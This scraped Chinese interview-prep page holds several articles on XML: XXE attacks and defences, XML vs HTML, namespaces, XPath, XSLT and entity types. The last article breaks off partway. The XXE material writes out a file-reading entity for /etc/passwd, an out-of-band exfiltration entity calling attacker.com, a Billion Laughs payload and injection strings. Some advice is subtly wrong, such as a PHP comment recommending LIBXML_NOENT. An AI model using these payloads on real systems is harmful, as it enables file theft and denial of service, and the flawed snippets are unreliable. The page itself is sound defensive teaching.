面试题手册

梳理高频技术问题,帮助你按主题复习和查漏补缺。

计算机基础阅读 05月28日 03:50

XXE 攻击原理与防护:从 XML 注入到实战防御

XML 解析器天生就会处理 DTD 中的外部实体引用——这个设计初衷是为了方便模块化文档管理,却被攻击者利用来读取服务器文件、发起内网请求,甚至执行代码。这就是 XXE(XML External Entity)攻击的核心原理。2025 年 6 月,Apache Tika 爆出 CVE-2025-66516(CVSS 8.4),攻击者通过上传恶意 PDF 文件触发 XXE,读取服务器敏感文件——这说明 XXE 不是历史遗留问题,至今仍有新的攻击面被挖掘出来。XXE 攻击是怎么发生的XML 规范允许在 DTD(文档类型定义)中声明实体,其中 SYSTEM 类型的实体会让解析器去访问指定的 URI:<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>解析器在处理 &xxe; 时,会读取 /etc/passwd 的内容并替换进去。如果应用把解析结果返回给用户,敏感文件内容就泄露了。哪怕应用不回显解析结果,攻击者依然可以通过外带(OOB)方式获取数据:<!DOCTYPE data [ <!ENTITY xxe SYSTEM "http://attacker.com/collect?data=SECRET">]>或者利用盲 XXE 通过响应时间差异来推断信息。哪些场景容易中招不是只有"接收 XML 参数的 API"才需要担心。以下场景都可能成为 XXE 的入口:SOAP Web Service:SOAP 消息本身就是 XML,如果后端没有安全配置解析器,直接沦陷文件上传功能:SVG 图片、DOCX/PPTX 文档、XLSX 表格底层都是 XML 格式,上传恶意文件就可能触发 XXESSO/SAML:SAML 断言是 XML 格式,身份认证流程中的 XXE 可能导致认证绕过RSS/Atom 订阅:聚合外部 RSS 源时,恶意 RSS 中的 XML 实体可能被解析三种 XML 注入攻击类型XXE(XML 外部实体注入)最常见、危害最大。上面已经展示了攻击方式。核心危害包括:读取服务器任意文件(file:// 协议)发起 SSRF 攻击(http:// 协议探测内网)拒绝服务(Billion Laughs 攻击,通过实体嵌套指数级膨胀 XML 体积)在特定环境下远程代码执行(如 PHP expect 协议)XML 标签注入攻击者通过注入 XML 标签修改文档结构,篡改业务逻辑:<!-- 正常请求 --><user><name>John</name></user><!-- 注入后:给自己加了个 admin 角色 --><user><name>John</name><role>admin</role></user>这类攻击的关键是应用直接把用户输入拼接到 XML 文档中,没有做转义或结构校验。XPath 注入类似 SQL 注入的思路,针对 XPath 查询:// 正常查询//user[username='john' and password='secret']// 注入后:绕过密码验证//user[username='john' or '1'='1' and password='anything']防护方案1. 禁用 DTD 和外部实体(最关键)这是防护 XXE 的根本措施。不同语言的配置方式不同:Java:DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);dbf.setXIncludeAware(false);dbf.setExpandEntityReferences(false);disallow-doctype-decl 设为 true 会直接拒绝包含 DTD 的 XML,这是最严格的防护。如果业务必须使用 DTD,至少要禁用外部实体(后面三个 false)。Python(lxml):from lxml import etreeparser = etree.XMLParser(resolve_entities=False, load_dtd=False, no_network=True)tree = etree.parse("data.xml", parser=parser)no_network=True 阻止解析器发起网络请求,切断 SSRF 攻击面。PHP(8.0+):// PHP 8.0 起 libxml_disable_entity_loader() 已废弃// 正确做法:使用 LIBXML_NOENT 标志配合内部实体处理$dom = new DOMDocument();$dom->loadXML($xmlString, LIBXML_NONET);LIBXML_NONET 禁止网络访问,替代了已废弃的 libxml_disable_entity_loader()。.NET:XmlReaderSettings settings = new XmlReaderSettings();settings.DtdProcessing = DtdProcessing.Prohibit; // 禁止 DTDsettings.XmlResolver = null; // 禁止解析外部实体XmlReader reader = XmlReader.Create(stream, settings);2. 输入验证在解析之前,先检查 XML 中是否包含危险结构:public boolean isSafeXML(String xml) { String upper = xml.toUpperCase(); return !upper.contains("<!DOCTYPE") && !upper.contains("<!ENTITY");}注意:输入验证是辅助手段,不能替代解析器安全配置。攻击者可能通过编码、注释等方式绕过字符串检测。3. 使用 JSON 替代 XML如果业务允许,直接用 JSON 代替 XML 作为数据交换格式。JSON 不支持实体和 DTD,从根本上消除了 XXE 风险。对于 REST API 来说,这通常是最简单的解决方案。4. XPath 注入防护:参数化查询和 SQL 注入用参数化查询一样,XPath 也支持变量绑定:XPathFactory factory = XPathFactory.newInstance();XPath xpath = factory.newXPath();xpath.setXPathVariableResolver(varName -> { switch (varName) { case "username": return username; case "password": return password; default: return null; }});XPathExpression expr = xpath.compile("//user[username=$username and password=$password]");5. XML Schema 验证用 XSD 约束 XML 文档的结构,拒绝不符合预期的输入:SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);Schema schema = sf.newSchema(new File("schema.xsd"));DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setSchema(schema);dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);Schema 验证既防标签注入,也限制了 XML 的结构和内容。6. 最小权限运行即使 XXE 攻击成功,如果应用进程没有读取敏感文件的权限,攻击者也只能拿到低权限数据。容器化部署、只读文件系统、网络策略限制外联,都是纵深防御的一环。Billion Laughs 攻击:一种特殊的拒绝服务这种攻击利用实体嵌套让 XML 体积指数级膨胀:<?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">]><root>&lol4;</root>&lol4; 展开后约 10 亿个 lol,轻松耗尽内存。防护方式同样是禁用 DTD——上面提到的解析器配置已经覆盖了这个场景。检测和排查Burp Suite:拦截请求,手动注入 XXE payload 测试OWASP ZAP:自动化扫描 XXE 漏洞SonarQube:静态代码分析,检测不安全的 XML 解析配置XXEinjector:专门针对 XXE 的自动化检测工具,支持 OOB 和 Blind XXE在 CI/CD 流程中集成 SAST 工具扫描 XML 解析相关代码,可以在部署前就发现风险配置。
计算机基础阅读 05月28日 03:49

XML 和 HTML 有什么区别?

XML 和 HTML 都是标记语言,但定位完全不同:HTML 是用来显示网页内容的,标签全预定义;XML 是用来存储和传输数据的,标签可以自己定义。面试中抓住"设计目的""标签定义""语法严格性"三个核心差异展开就够。一段代码看清区别:<!-- HTML:预定义标签,关注显示 --><h1>用户信息</h1><p>姓名:张三</p><!-- XML:自定义标签,关注数据结构 --><user> <name>张三</name> <age>28</age></user>同样的"用户信息",HTML 关心怎么在页面上展示,XML 关心数据本身的含义和层级关系。这个根本分歧决定了两者在语法、结构、应用场景上的所有差异。追问XML 和 HTML 的语法严格性有什么具体区别?XML 严格得多,根本原因在于两者的容错需求不同。HTML 要容错——网页打不开用户就直接走了,所以浏览器会尽可能猜测意图并渲染。XML 传数据——格式错了数据就不可信了,所以解析器遇到错误直接报停。具体规则对比:| 规则 | XML | HTML ||------|-----|------|| 标签关闭 | 必须关闭,自闭合写 <br/> | <p> <br> 可不关 || 大小写 | 区分,<Name> ≠ <name> | 不区分 || 属性引号 | 必须加 | 有时可省 || 根元素 | 有且仅有一个 | 允许多个(不推荐)|| 嵌套 | 必须严格正确嵌套 | 允许部分错误嵌套 |面试时说出"容错需求不同导致语法严格性不同"这个根本原因,比单纯背规则更体现理解深度。DTD 和 XML Schema 是什么?有什么区别?两者都约束 XML 文档结构——哪些标签能出现、顺序如何、数据类型是什么。DTD 是早期方案,语法简单但功能有限:不支持数据类型定义(只能区分 PCDATA 和 CDATA)、不支持命名空间、用的不是 XML 语法本身。XML Schema(XSD)更强大:支持 string/integer/date 等丰富数据类型、命名空间避免标签冲突、正则约束,而且 XSD 本身就是 XML 格式写的,可以用 XML 工具链处理。实际项目优先用 XSD,DTD 基本只在维护遗留系统时遇到。实际项目里 XML 还常用吗?Web 开发中 XML 的使用确实在下降,但远没到淘汰的程度:Spring 的 bean 配置、Maven 的 pom.xml、Android 的布局文件和 AndroidManifest.xml、SVG 矢量图、Office 文档格式(.docx/.xlsx 本质是 ZIP 包裹的 XML)——这些你日常都在用。新项目的数据接口基本都改用 JSON 了,但 XML 在配置文件和文档格式领域仍有不可替代的位置。安全方面有个高频考点:XXE 漏洞(XML 外部实体注入)——攻击者通过 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 读取服务器文件,防护方式是解析器禁用外部实体。XML 和 JSON 相比各有什么优劣?JSON 轻量、解析快、和 JavaScript 天然亲和,是 Web API 主流。XML 的优势在于:属性和嵌套两种信息表达方式(<user id="1"><name>张三</name></user> 里 id 是属性、name 是子元素,JSON 没有这种区分)、成熟的 schema 验证(XSD)、命名空间避免标签冲突(SOAP 消息里 <soap:Body> 和 <wsa:Action> 共存)、注释和元数据更丰富。需要严格验证和复杂结构选 XML,追求轻量和速度选 JSON。一个实用判断:配置文件和文档格式选 XML,API 数据交换选 JSON。
计算机基础阅读 05月28日 03:48

什么是 XML 命名空间,如何声明和使用它?

当两个不同的 XML 词汇表使用相同的元素名时,解析器无法区分它们——这就是命名冲突。XML 命名空间(Namespace)正是为解决这个问题而设计的机制,它通过为元素和属性绑定一个全局唯一的 URI 标识符,让同名元素可以和平共处。为什么需要命名空间假设一份文档同时引用了两个 XML 词汇表,两者都定义了 <table> 元素:一个表示表格数据,另一个表示家具。没有命名空间时,解析器无法判断 <table> 到底指哪个。命名空间通过在元素前加前缀并绑定唯一 URI 来消除歧义。需要注意的是,命名空间 URI 仅作为唯一标识符使用,解析器不会去访问这个地址。URI 选择 URL 格式只是惯例,并非强制——任何合法的 URI 都可以,包括 URN。命名空间的声明语法命名空间使用 xmlns 属性声明,有两种形式:<!-- 带前缀的命名空间 --><root xmlns:prefix="namespaceURI"> <prefix:element>内容</prefix:element></root><!-- 默认命名空间 --><root xmlns="namespaceURI"> <element>内容</element></root>关键规则:xmlns 是保留属性名,专门用于命名空间声明前缀是自定义的简短别名,遵循 XML 名称命名规则以 xml(任何大小写组合)开头的前缀被保留,不能自定义URI 必须用引号包裹,通常使用 URL 格式默认命名空间 vs 带前缀的命名空间| 特性 | 默认命名空间 | 带前缀的命名空间 ||------|------------|----------------|| 声明方式 | xmlns="URI" | xmlns:prefix="URI" || 适用范围 | 未加前缀的元素 | 使用该前缀的元素和属性 || 是否适用于属性 | 不适用 | 适用 || 典型场景 | 文档中只有一种词汇表 | 文档混合多种词汇表 |一个重要区别:默认命名空间不适用于属性。未加前缀的属性永远属于无命名空间,即使所在元素有默认命名空间。如果属性需要属于某个命名空间,必须使用带前缀的声明。<book xmlns="http://example.com/books" xmlns:dc="http://purl.org/dc/elements/1.1/"> <!-- title 元素属于 http://example.com/books --> <!-- dc:title 属性属于 http://purl.org/dc/elements/1.1/ --> <title dc:title="主标题">XML 入门</title></book>命名空间的作用域命名空间声明在声明它的元素及其所有后代元素中有效,遵循以下规则:继承:子元素自动继承祖先元素的命名空间声明覆盖:子元素可以重新声明同名前缀,新的绑定在子元素范围内生效无命名空间:如果元素没有前缀且没有默认命名空间,它属于"无命名空间"<root xmlns:a="http://example.com/a"> <a:child> <!-- a 前缀仍然绑定 http://example.com/a --> <a:grandchild xmlns:a="http://example.com/b"> <!-- 这里 a 前缀重新绑定到 http://example.com/b --> </a:grandchild> </a:child></root>命名空间在实际协议中的应用SOAP 消息SOAP 协议是命名空间应用的典型场景,一条 SOAP 消息同时使用 SOAP 信封命名空间和业务数据命名空间:<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:m="http://www.example.com/stock"> <soap:Header> <m:Authentication> <m:Username>user</m:Username> <m:Password>pass</m:Password> </m:Authentication> </soap:Header> <soap:Body> <m:GetStockPrice> <m:StockSymbol>IBM</m:StockSymbol> </m:GetStockPrice> </soap:Body></soap:Envelope>soap 前缀标识协议层元素,m 前缀标识业务数据元素,两者互不干扰。XML Schema(XSD)XSD 本身大量使用命名空间,xs 或 xsd 前缀是 XSD 元素的通用约定:<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="book" type="xs:string"/></xs:schema>在 XSD 验证中,命名空间决定了类型定义和元素声明的归属。目标命名空间(targetNamespace)指定了该 Schema 定义的所有组件属于哪个命名空间。常见错误与陷阱前缀声明但未使用:声明了 xmlns:foo 却从未使用 foo: 前缀,虽然不会报错,但说明声明是多余的默认命名空间不覆盖属性:这是最常见的误解,未加前缀的属性不属于默认命名空间URI 相等性:命名空间比较是字符串精确匹配,http://example.com 和 http://example.com/ 是两个不同的命名空间在根元素上声明所有命名空间:虽然合法,但只在需要时声明可以让文档更清晰混用不同前缀绑定同一 URI:合法但容易混淆,同一文档中应保持前缀一致最佳实践使用公司域名的 URL 格式作为 URI,确保全球唯一前缀选择简短且有意义,如 xs 表示 XML Schema,xhtml 表示 XHTML在文档的根元素集中声明所有需要的命名空间,方便维护同一文档中对同一命名空间始终使用相同前缀只在确实存在命名冲突风险时才引入命名空间,避免不必要的复杂性追问Q: 命名空间 URI 是否必须是一个可访问的 URL?不是。URI 仅作为标识符,解析器不会尝试访问它。使用 URL 格式只是行业惯例,因为它天然具备全局唯一性。实际开发中,这个地址可能根本不存在。Q: 默认命名空间和没有命名空间有什么区别?有默认命名空间的元素属于该命名空间;没有前缀且没有默认命名空间的元素属于"无命名空间"。这是两个不同的状态——属于某个命名空间和不属于任何命名空间在 XSD 验证中表现完全不同。
计算机基础阅读 05月28日 03:48

XPath 是什么?XML 数据查询从入门到实战

XPath 是 XML 世界里的"查询语言"——你有一堆结构化的 XML 数据,想从中精确提取某个节点的值、过滤满足条件的元素、或者统计某个属性出现的次数,XPath 就是干这个的。几乎所有需要处理 XML 的场景都会用到它:Java 解析配置文件、Python 爬虫提取网页数据、XSLT 转换文档格式,底层都依赖 XPath 定位节点。如果把 XML 文档比作一栋大楼,那 XPath 就是楼里的导航系统——告诉你"3 楼东侧第二个房间"在哪,而不是让你挨个门去找。XPath 把 XML 看成一棵树拿到一份 XML 文档后,XPath 要做的第一件事是把它当成一棵"节点树"。每种 XML 组成部分对应一种节点类型:元素节点:XML 中的标签,比如 <book>属性节点:标签里的属性,比如 category="web"文本节点:标签之间的文字内容文档节点:整份 XML 的根,也叫根节点剩下的命名空间节点、处理指令节点、注释节点用得少,知道就行。关键理解一点:XPath 的所有查询操作,本质上都是在"在这棵树上找路"。路径表达式:XPath 的基本语法拿一份常见的 XML 举例:<bookstore> <book category="web"> <title lang="en">XML Guide</title> <author>John Doe</author> <price>39.95</price> </book> <book category="database"> <title lang="en">SQL Basics</title> <author>Jane Smith</author> <price>29.99</price> </book></bookstore>绝对路径和相对路径/bookstore → 根元素 bookstore/bookstore/book → bookstore 下所有 book 子元素//book → 文档中任意位置的 book 元素bookstore//book → bookstore 后代中所有 book 元素/ 开头是绝对路径,从根节点出发;// 表示"不管在哪一层,只要匹配就选出来",类似文件系统的递归搜索。一个性能细节://book 看起来方便,但它会遍历整棵树,文档大的时候性能开销明显。如果知道节点的大致位置,用 /bookstore/book 这种更精确的路径更快。谓词:加条件过滤谓词写在方括号 [] 里,用来筛选满足特定条件的节点。可以把谓词理解为 SQL 的 WHERE 子句——都是给查询加过滤条件:/bookstore/book[1] → 第一个 book/bookstore/book[last()] → 最后一个 book/bookstore/book[position()<3] → 前两个 book//book[@category='web'] → category 属性为 web 的 book//book[price>35] → price 大于 35 的 book实际开发中大部分 XPath 查询都离不开谓词。一个实用技巧:多个条件可以用 and/or 组合,比如 //book[@category='web' and price<40]。通配符* → 任何元素节点@* → 任何属性节点node() → 任何类型的节点用得不多,但在写通用查询时很方便,比如 //book/* 取出 book 下所有子元素,不用逐个写子元素名称。轴:指定搜索方向轴定义了"从当前节点往哪个方向找"。默认轴是 child,所以 /bookstore/book 其实是 /child::bookstore/child::book 的简写。常用的轴:parent → 父节点(简写 ..)child → 所有子节点(默认,可省略)descendant → 所有后代节点ancestor → 所有祖先节点following-sibling → 之后的同级节点preceding-sibling → 之前的同级节点self → 自身(简写 .)完整语法是 轴名::节点测试,比如 ancestor::book 表示找所有叫 book 的祖先节点。日常开发中 parent、child、descendant、following-sibling 这几个占了 90% 的使用场景。内置函数:让查询更灵活XPath 内置了一批函数,可以直接在谓词和表达式中调用。字符串函数——出场率最高contains(title, 'XML') → title 包含 "XML"starts-with(@lang, 'en') → lang 属性以 "en" 开头substring(price, 1, 4) → 截取 price 的前 4 个字符normalize-space(text) → 去掉多余空白string-length(title) → 标题长度contains 是日常开发中出场率最高的函数,做模糊匹配全靠它。一个常见场景:在配置文件里找所有包含特定关键字的节点。聚合和数值函数count(//book) → 统计 book 元素数量sum(//book/price) → 所有 price 求和floor(3.7) → 3(向下取整)ceiling(3.2) → 4(向上取整)round(3.5) → 4(四舍五入)布尔函数not(@category='web') → category 不是 webboolean(//book) → 是否存在 book 元素(判空用)boolean() 配合 not() 可以判断"某个节点是否存在",在做数据校验时很有用。在各语言中实际使用 XPathJavaXPathFactory factory = XPathFactory.newInstance();XPath xpath = factory.newXPath();DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();Document doc = dbf.newDocumentBuilder().parse(new File("books.xml"));// 查询单个值String title = xpath.evaluate("//book[@category='web']/title/text()", doc);// 查询节点列表NodeList books = (NodeList) xpath.evaluate("//book", doc, XPathConstants.NODESET);for (int i = 0; i < books.getLength(); i++) { Element book = (Element) books.item(i); System.out.println(book.getAttribute("category"));}踩坑提醒:Java 默认的 XPath 实现是串行执行的,大文件查询会很慢。如果性能敏感,考虑换用 Saxon-HE 等第三方实现。另外,DocumentBuilderFactory.newInstance() 默认不启用命名空间支持,需要 dbf.setNamespaceAware(true) 才能用命名空间相关的 XPath 查询。Python(lxml 库)from lxml import etreetree = etree.parse("books.xml")# 提取文本titles = tree.xpath("//book[@category='web']/title/text()")# 提取属性categories = tree.xpath("//book/@category")# 用函数做统计total = sum(tree.xpath("//book/price/text()"))Python 爬虫中 lxml + XPath 是黄金组合,比 BeautifulSoup 的 CSS 选择器更灵活——尤其是处理不规则的 HTML 结构,XPath 的 contains() 和轴查询能解决很多 CSS 选择器搞不定的问题。JavaScript(浏览器环境)const parser = new DOMParser();const xmlDoc = parser.parseFromString(xmlString, "text/xml");const result = xmlDoc.evaluate( "//book[@category='web']/title", xmlDoc, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);for (let i = 0; i < result.snapshotLength; i++) { console.log(result.snapshotItem(i).textContent);}浏览器环境下的 document.evaluate 可以直接对 HTML DOM 执行 XPath 查询,不限于 XML 文档。做自动化测试或油猴脚本时很实用。XPath 和 XQuery 的关系XQuery 基于 XPath 构建,但能力更强:XPath:定位和选择节点,是"找东西"的工具XQuery:不仅能找,还能构造新的 XML 结构、做 FLWOR 查询(类似 SQL 的 for-let-where-order-return)如果只是从 XML 里提取数据,XPath 够用。如果需要查询后重新组织输出格式,才需要 XQuery。常见坑和最佳实践命名空间陷阱——新手第一大坑XML 声明了命名空间后,直接用 /root/child 可能查不到节点。比如:<root xmlns="http://example.com/ns"> <child>hello</child></root>此时 //child 返回空,因为 child 已经属于一个命名空间了。必须在代码中注册命名空间前缀,然后用前缀查询:# Python lxml 示例tree.xpath("//ns:child/text()", namespaces={"ns": "http://example.com/ns"})这是 XPath 新手最常遇到的"明明节点在,就是查不到"的问题。// 的性能问题前面说过,// 会遍历全树。几百 KB 的文档无所谓,几十 MB 的文档就会明显卡顿。能写精确路径就别用 //,尤其是循环里反复执行 XPath 的时候。文本节点的空白陷阱XML 中的换行和缩进会被解析为文本节点,//text() 可能返回一大堆空白字符串。用 normalize-space() 过滤,或者直接用 /text() 取特定层级的文本。XPath 1.0 vs 2.0/3.0大多数语言内置的是 XPath 1.0,不支持 for 循环、条件表达式(if-then-else)、正则匹配等 2.0+ 特性。需要高级功能时:Java → 用 Saxon 替换默认实现Python → lxml 的扩展函数,或换用 xml.etree.ElementTree 的有限 XPath 支持C# → .NET 3.5+ 支持 XPath 1.0,更高级需要第三方库特殊字符转义路径中包含单引号或双引号时,需要用 concat() 拼接,比如 //book[title=concat("He said '", "'", "s book")]。XPath 1.0 没有原生的转义语法,这是它的一个设计缺陷。XPath 2.0+ 支持双引号内转义单引号,但 1.0 环境下只能用 concat() 绕路。查询结果缓存如果同一条 XPath 会被反复执行(比如在循环里),考虑编译一次、重复执行:// Java 编译 XPath 表达式XPathExpression expr = xpath.compile("//book[@category='web']");NodeList result = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);编译一次比每次都 evaluate() 快得多,尤其是复杂表达式。
计算机基础阅读 05月28日 03:47

XSLT 是什么?XML 转换的模板匹配机制详解

XSLT 经常被误解为"XML 的 CSS"——其实它更像一门函数式编程语言。你写一系列模板规则,XSLT 处理器拿着这些规则去匹配 XML 节点,匹配上了就输出对应内容。理解这个模型,比背语法重要得多。XSLT 处理模型:模板驱动的递归匹配XSLT 的核心不是"写一个程序去遍历 XML",而是"告诉处理器遇到什么节点就输出什么"。处理器从根节点开始,按模板优先级逐级匹配,遇到 apply-templates 就递归处理子节点。这个过程有几个关键规则:匹配优先级:更具体的匹配规则优先。match="bookstore/book" 比 match="*" 优先级高内置模板:如果你没写匹配某节点的模板,XSLT 有默认行为——继续递归处理子节点,文本节点直接输出内容。这就是为什么你只写了部分模板,其他内容也会"冒出来"一次匹配:一个节点只会被优先级最高的模板处理一次<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- 匹配根节点,输出 HTML 框架 --> <xsl:template match="/"> <html> <body> <xsl:apply-templates select="bookstore/book"/> </body> </html> </xsl:template> <!-- 匹配每本书,输出一行 --> <xsl:template match="book"> <p><xsl:value-of select="title"/> - <xsl:value-of select="author"/></p> </xsl:template></xsl:stylesheet>apply-templates 和 for-each 都能遍历节点,但区别很重要:apply-templates 把控制权交给模板匹配机制,天然支持递归和模块化;for-each 是命令式的,所有逻辑都写在一个块里。简单遍历用 for-each 没问题,但一旦逻辑复杂,模板匹配更好维护。XPath:XSLT 的导航语言XSLT 离不开 XPath。你在 select 属性里写的表达式就是 XPath,它决定了"从 XML 里取什么数据"。几个高频用法:| XPath 表达式 | 含义 ||---|---|| /bookstore/book | 从根节点选取所有 book || //book | 任意层级的 book 节点 || book[@category='web'] | category 属性为 web 的 book || book[position() > 1] | 第二本书开始(下标从 1 计) || count(//book) | book 节点数量 |一个容易踩的坑://book 看起来方便,但它在整个文档树中搜索,大数据量下性能很差。能写绝对路径 /bookstore/book 就不要用 //。条件判断和循环if 和 chooseXSLT 1.0 没有 else,只有 xsl:if。需要多分支判断时用 choose/when/otherwise:<xsl:template match="book"> <div> <xsl:choose> <xsl:when test="price > 30"> <xsl:attribute name="class">expensive</xsl:attribute> </xsl:when> <xsl:when test="price > 20"> <xsl:attribute name="class">moderate</xsl:attribute> </xsl:when> <xsl:otherwise> <xsl:attribute name="class">cheap</xsl:attribute> </xsl:otherwise> </xsl:choose> <xsl:value-of select="title"/> - $<xsl:value-of select="price"/> </div></xsl:template>注意 XML 里的比较运算符要用转义:> 写成 >,< 写成 <。初学者经常在这卡住。for-each 和排序<xsl:for-each select="bookstore/book"> <xsl:sort select="price" order="ascending" data-type="number"/> <p><xsl:value-of select="title"/> - $<xsl:value-of select="price"/></p></xsl:for-each>sort 必须紧跟在 for-each 或 apply-templates 后面,放在其他位置会被忽略——而且不会报错。变量和参数变量(不可变)XSLT 的变量一旦赋值就不能修改,这是函数式编程的特征:<xsl:variable name="maxPrice" select="100"/><xsl:variable name="bookCount" select="count(//book)"/>想实现"累加计数"?不能靠修改变量,得用递归模板或者 sum() 等 XPath 聚合函数。这是从命令式语言转过来的开发者最容易不适应的地方。参数(模板间传值)<!-- 定义带参数的命名模板 --><xsl:template name="formatPrice"> <xsl:param name="price"/> <xsl:param name="currency" select="'$'"/> <xsl:value-of select="concat($currency, format-number($price, '#,##0.00'))"/></xsl:template><!-- 调用 --><xsl:call-template name="formatPrice"> <xsl:with-param name="price" select="price"/> <xsl:with-param name="currency" select="'€'"/></xsl:call-template>模板模式:同一节点不同输出同一个 XML 节点,你可能在不同位置需要不同的输出形式。mode 属性解决这个需求:<!-- 简略模式:只显示标题 --><xsl:template match="book" mode="summary"> <li><xsl:value-of select="title"/></li></xsl:template><!-- 详细模式:显示全部信息 --><xsl:template match="book" mode="detail"> <div class="book-detail"> <h3><xsl:value-of select="title"/></h3> <p>Author: <xsl:value-of select="author"/></p> <p>Price: $<xsl:value-of select="price"/></p> </div></xsl:template><!-- 按需调用 --><ul><xsl:apply-templates select="book" mode="summary"/></ul><div><xsl:apply-templates select="book" mode="detail"/></div>key:XSLT 的"索引"用 xsl:key 可以实现类似数据库索引的效果,最常用于分组(XSLT 1.0 没有 group-by,得用 Muenchian 分组法):<!-- 定义按 author 分组的 key --><xsl:key name="books-by-author" match="book" use="author"/><!-- 取出每个 author 的第一本书(去重) --><xsl:for-each select="bookstore/book[count(. | key('books-by-author', author)[1]) = 1]"> <h2><xsl:value-of select="author"/></h2> <ul> <xsl:for-each select="key('books-by-author', author)"> <li><xsl:value-of select="title"/></li> </xsl:for-each> </ul></xsl:for-each>Muenchian 分组的写法确实反直觉。如果你可以用 XSLT 2.0+,直接用 xsl:for-each-group 就行,省掉这些弯弯绕绕。在不同语言中执行 XSLT 转换JavaTransformerFactory factory = TransformerFactory.newInstance();Transformer transformer = factory.newTransformer( new StreamSource(new File("transform.xsl")));transformer.transform( new StreamSource(new File("data.xml")), new StreamResult(new File("output.html")));注意 TransformerFactory.newInstance() 会按特定顺序查找实现,如果 classpath 里有 Saxon 等第三方实现,可能拿到的不是 JDK 内置的 Xalan。生产环境建议显式指定:TransformerFactory factory = TransformerFactory.newInstance( "net.sf.saxon.TransformerFactoryImpl", null);Python(lxml)from lxml import etreexml_doc = etree.parse("data.xml")xslt_doc = etree.parse("transform.xsl")transform = etree.XSLT(xslt_doc)result = transform(xml_doc)lxml 的 XSLT 只支持 1.0。需要 2.0/3.0 特性的话,得用 saxonc 库调用 Saxon-HE。浏览器端浏览器曾经原生支持 XSLT(XSLTProcessor),但现在已经不推荐在前端做转换了——性能差、调试难、XSLT 1.0 功能有限。现代做法是在构建阶段或服务端完成转换。XSLT 1.0 vs 2.0 vs 3.0| 特性 | 1.0 | 2.0 | 3.0 ||---|---|---|---|| 分组 | Muenchian 分组(复杂) | for-each-group | for-each-group || 正则 | 不支持 | xsl:analyze-string | xsl:analyze-string || 函数定义 | 不支持 | xsl:function | xsl:function || 多输出 | 不支持 | xsl:result-document | xsl:result-document || 包机制 | 不支持 | 不支持 | xsl:use-package || try/catch | 不支持 | 不支持 | xsl:try |XSLT 1.0 是浏览器唯一支持的版本。服务端处理建议至少用 2.0,分组和函数定义这两个特性就能省掉大量代码。实战踩坑字符编码问题:转换输出中文乱码,通常是因为没有指定 xsl:output 的 encoding 属性,或者输出文件的编码和声明不一致。加上 <xsl:output method="html" encoding="UTF-8"/> 基本能解决。命名空间冲突:源 XML 带了默认命名空间(如 xmlns="http://example.com"),你写的模板死活匹配不上。XSLT 里命名空间必须显式匹配,不能用空命名空间去匹配有命名空间的节点。解决方法是给命名空间加前缀:xpath-default-amespace="http://example.com"(2.0+),或者在 1.0 里手动声明前缀并使用。大文件内存溢出:XSLT 处理器默认把整个 XML 加载到内存。几十 MB 的 XML 文件可能直接 OOM。Saxon-EE 的流式处理(streaming)可以解决这个问题,但社区版(HE)不支持。XSLT 的学习曲线主要卡在思维方式的转换——从命令式的"怎么做"切换到声明式的"要什么"。理解了模板匹配的递归模型,剩下的语法只是工具。
计算机基础阅读 05月28日 03:47

XML 实体详解:4 种类型与 XXE 攻击防护

XML 文档里有些内容会反复出现——公司名、版权声明、版本号,每次手写既麻烦又容易改漏。XML 实体就是解决这个问题的:定义一次,到处引用。但实体的能力不止于此,外部实体还能引入其他文件的内容,而这个特性恰恰成了 XXE 攻击的入口。实体是什么实体(Entity)本质是一个"文本替身"——你在 DTD 里声明它代表什么,文档里用 &实体名; 引用它,解析器会自动替换成实际内容。<!DOCTYPE config [ <!ENTITY app "订单系统"> <!ENTITY ver "2.3.1">]><config> <name>&app;</name> <version>&ver;</version></config>解析后 &app; 变成"订单系统",&ver; 变成"2.3.1"。改一处定义,所有引用自动更新。四种实体类型内部实体值直接写在 DTD 里的实体,适合复用短文本:<!DOCTYPE letter [ <!ENTITY sender "张三"> <!ENTITY closing "此致敬礼">]><letter> <body>&sender; 申请退款</body> <footer>&closing;</footer></letter>内部实体没有安全风险,放心用。外部实体引用外部文件的内容,SYSTEM 关键字指向文件路径:<!DOCTYPE book [ <!ENTITY ch1 SYSTEM "chapter1.xml"> <!ENTITY ch2 SYSTEM "chapter2.xml">]><book> &ch1; &ch2;</book>外部实体方便模块化管理,但也带来了 XXE 注入风险——后面详说。参数实体只在 DTD 内部使用的实体,用 % 声明和引用:<!DOCTYPE catalog [ <!ENTITY % basic " <!ELEMENT title (#PCDATA)> <!ELEMENT price (#PCDATA)> "> %basic;]>参数实体的核心用途是拆分和复用 DTD 片段。当 DTD 声明很长时,把公共部分抽成参数实体,多个 DTD 共享同一份定义。预定义实体XML 自带 5 个,转义特殊字符,不需要声明:| 实体 | 字符 | 用在哪 ||------|------|--------|| < | < | 标签符号不能直接写 || > | > | 同上 || & | & | 实体引用符号本身 || ' | ' | 属性值用单引号时 || " | " | 属性值用双引号时 |<condition>5 < 10</condition><msg>She said "done"</msg>XXE 攻击:外部实体的安全隐患外部实体能读文件,这个能力如果被攻击者利用,后果很严重。攻击原理攻击者构造包含恶意外部实体的 XML:<!DOCTYPE data 